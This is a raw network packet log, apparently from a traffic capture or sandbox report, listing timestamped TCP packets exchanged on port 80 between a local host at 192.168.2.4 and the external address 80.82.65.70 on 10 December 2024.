Dec 10, 2024 04:49:46.827023983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.827734947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.827795029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.827840090 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.828383923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.828593016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.828649044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.828716993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.828778982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.829814911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.829871893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.829904079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.830013990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.830832005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.830915928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.830992937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.831353903 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.831366062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.831408978 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.831938028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.832007885 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.832037926 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.832083941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.832787991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.832869053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.832916975 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.833607912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.833672047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.833748102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.834465981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.834604979 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.834641933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.835336924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.835393906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.903553009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.903564930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.903570890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.903665066 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.904165983 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.904330015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.904809952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.904820919 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.904871941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.905278921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.905343056 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.905874968 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.905884981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.905894995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.905934095 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.905951977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.906999111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.907011032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.907062054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.908145905 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.908155918 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.908240080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.908622026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.908634901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.908683062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.908849955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.908900023 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.908952951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.909024000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.909679890 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.909766912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.909797907 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.909849882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.910528898 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.910587072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.910619020 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.910670996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.911371946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.911426067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.911489964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.911537886 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.912194014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.912250042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.912280083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.912327051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.913029909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.913189888 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.913203955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.913260937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.913872957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.913924932 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.913959026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.914115906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.914738894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.914789915 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.914854050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.914910078 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.915600061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.915658951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.915661097 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.915704966 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.916398048 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.916520119 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.916541100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.916584969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.917256117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.917376041 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.917462111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.917555094 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.918071985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.918113947 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.918211937 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.918267012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.918921947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.918982029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.919039965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.919099092 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.919898033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.919991970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.920042992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.920641899 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.920691967 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.920722961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.920773983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.921452045 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.921506882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.921627998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.921679974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.922333956 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.922383070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.922410965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.922493935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.923113108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.923180103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.923213959 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.923269033 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.924046040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.924113989 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.924155951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.924206018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.980434895 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.980510950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.980523109 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.980686903 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.980792999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.980853081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.980880022 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.980940104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.981626987 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.981684923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.981709003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.981779099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.982459068 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.982508898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.982542992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.982595921 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.983305931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.983355045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.983386993 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.983436108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.984170914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.984231949 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.984261036 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.984329939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.984980106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.985038996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.985074043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.985137939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.985892057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.985960007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.985991955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.986053944 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.986668110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.986763954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.986795902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.986850977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.987477064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.987536907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.987593889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.987657070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.988327980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.988430977 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.988487005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.989207029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.989263058 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.989280939 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.989386082 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.990302086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.990313053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.990355015 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.990864038 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.990989923 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.017014027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.017025948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.017179012 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.017374992 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.017430067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.017535925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.017596960 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.018187046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.018241882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.018286943 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.018358946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.019025087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.019093990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.019162893 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.019227028 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.019954920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.020004988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.020045996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.020107031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.020791054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.020845890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.020874023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.020991087 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.021547079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.021595955 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.021670103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.021718025 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.022375107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.022433043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.022480011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.022527933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.023231030 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.023277044 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.023303986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.023348093 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.024107933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.024177074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.024210930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.024259090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.024915934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.024957895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.024996996 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.025041103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.025746107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.025821924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.025857925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.025914907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.026627064 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.026686907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.026745081 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.026799917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.027457952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.027508974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.096117973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.096178055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.096297026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.096405029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.096435070 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.096499920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.096534014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.096581936 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.097269058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.097326994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.097353935 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.097476006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.098011971 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.098063946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.098103046 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.098189116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.098884106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.098952055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.098980904 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.099049091 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.099716902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.099788904 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.099823952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.099881887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.100547075 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.100601912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.100613117 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.100673914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.101412058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.101480007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.101546049 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.101608992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.102231026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.102336884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.102361917 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.102386951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.103060961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.103174925 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.103230953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.103230953 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.103885889 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.103964090 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.104018927 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.104101896 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.104731083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.104782104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.104839087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.104953051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.105618954 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.105680943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.105700970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.105798006 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.106419086 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.106470108 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.106508970 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.106641054 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.107260942 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.107310057 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.107393980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.107467890 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.108119011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.108226061 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.108297110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.108987093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.109078884 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.109150887 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.109786034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.109852076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.109894991 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.109965086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.110616922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.110688925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.110723019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.110774994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.111449003 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.111500025 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.111543894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.111599922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.112319946 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.112369061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.112417936 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.113138914 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.113197088 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.113228083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.113279104 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.114111900 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.114123106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.114170074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.114803076 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.114850998 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.114921093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.114970922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.115650892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.115719080 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.115746021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.115840912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.116528988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.116580963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:47.116619110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.116619110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:47.117343903 CET	80	49730	80.82.65.70	192.168.2.4
